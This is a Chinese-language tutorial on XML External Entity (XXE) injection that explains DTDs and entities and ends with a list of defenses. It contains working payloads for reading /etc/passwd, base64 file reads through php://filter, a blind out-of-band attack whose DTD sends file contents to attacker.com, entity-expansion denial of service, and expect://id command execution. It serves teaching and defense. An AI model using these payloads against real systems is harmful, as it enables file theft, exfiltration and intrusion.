XXE的基本概念和利用方式
字数 1633 2025-08-14 12:04:09
XML外部实体注入(XXE)攻击全面指南
1. XXE基本概念
XXE全称XML External Entity Injection,即XML外部实体注入。这是一种针对解析XML输入的应用程序的攻击方式,当配置不当的XML处理器处理包含对外部实体引用的XML输入时,就会发生此攻击。
1.1 XML与DTD基础
XML被设计用来传输和存储数据,其关注点是数据的内容。要解释XML数据,应用程序需要XML解析器。
DTD(文档类型定义)的作用是定义XML文档的合法构建模块,XXE漏洞主要发生在"文档类型定义"中。
DTD的三种声明形式:
- 内部DTD:
<!DOCTYPE 根元素[子元素声明]> - 外部DTD:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径"> - 内外部DTD结合:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
1.2 XML实体(ENTITY)
实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以来自任何地方,包括外部资源(因此称为XML外部实体)。
实体分类:
- 预定义实体:
&、<、%等 - 内部实体:
<!ENTITY 实体名称 "实体的值"> - 外部实体:
<!ENTITY 实体名称 SYSTEM "URI/URL"> - 参数实体:
<!ENTITY % 实体名 "实体内容">
引用方式:
- 普通实体:
&实体名; - 参数实体:
%实体名;
2. XXE风险因素
可能导致XXE漏洞的条件:
- 应用程序解析XML文档
- DTD中允许使用受污染的数据
- XML解析器配置为验证和处理DTD
- XML解析器配置为解析DTD内的外部实体
3. XXE攻击影响
XXE攻击可能导致:
- 本地文件读取
- 内网访问
- 主机/端口扫描
- 远程代码执行(不常见)
- 拒绝服务攻击
4. XXE利用方式
4.1 本地文件读取
当用户输入在响应中回显时,这种XXE被称为基于报错的XXE。
基本payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
不同系统的文件读取:
- Unix系统:
file:///etc/passwd - Windows系统:
file:///c:/boot.ini
4.2 解决XML限制的方法
CDATA方法:
<data><![CDATA[characters are ok here ]]></data>
PHP协议包装器:
<!ENTITY bar SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/fstab">
4.3 带外攻击(OOB-XXE)
带外XXE攻击(盲型XXE)适用于Web应用不会立即响应的情况。
攻击流程:
- 攻击者发送恶意XML请求
- XML解析器处理参数实体,加载本地文件
- 解析器向攻击者服务器请求DTD文件
- 处理攻击者的DTD,创建包含文件内容的URL
- 解析器向攻击者服务器发送包含文件内容的请求
示例payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
攻击者的DTD(evil.dtd):
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;
4.4 XML DoS攻击
通过递归引用实体或读取大文件导致内存过载:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World ">
<!ENTITY t1 "&bar;&bar;">
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
<!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
或读取/dev/random:
<!ENTITY xxe SYSTEM "file:///dev/random">
4.5 远程代码执行(RCE)
在PHP应用中(需加载Expect模块):
<!ENTITY xxe SYSTEM "expect://id">
5. XXE防御措施
- 使用替代格式:尽可能使用简单的数据格式(如JSON),避免敏感数据序列化
- 更新XML处理器:修补或升级XML处理器和库
- 禁用外部实体:在所有XML解析器中禁用XML外部实体和DTD处理
- 输入验证:使用白名单验证输入,过滤XML文档、表头、节点内的恶意数据
- XSD验证:对XML或XSL文件上传功能使用XSD验证传入的XML
- 代码审计:使用SAST工具检测源代码中的XXE漏洞
- WAF防护:使用虚拟补丁、API安全网关或WAF来检测和阻止XXE攻击
6. 总结
XXE漏洞非常严重,几乎影响所有解析XML文档的Web应用程序。攻击者可以利用XXE进行:
- 敏感文件读取
- 内网探测
- SSRF攻击
- 拒绝服务攻击
- 可能的远程代码执行
防御XXE需要从多个层面入手,包括禁用危险功能、严格输入验证和使用安全配置。开发人员应充分了解XXE的风险,并在设计和实现阶段就采取适当的防护措施。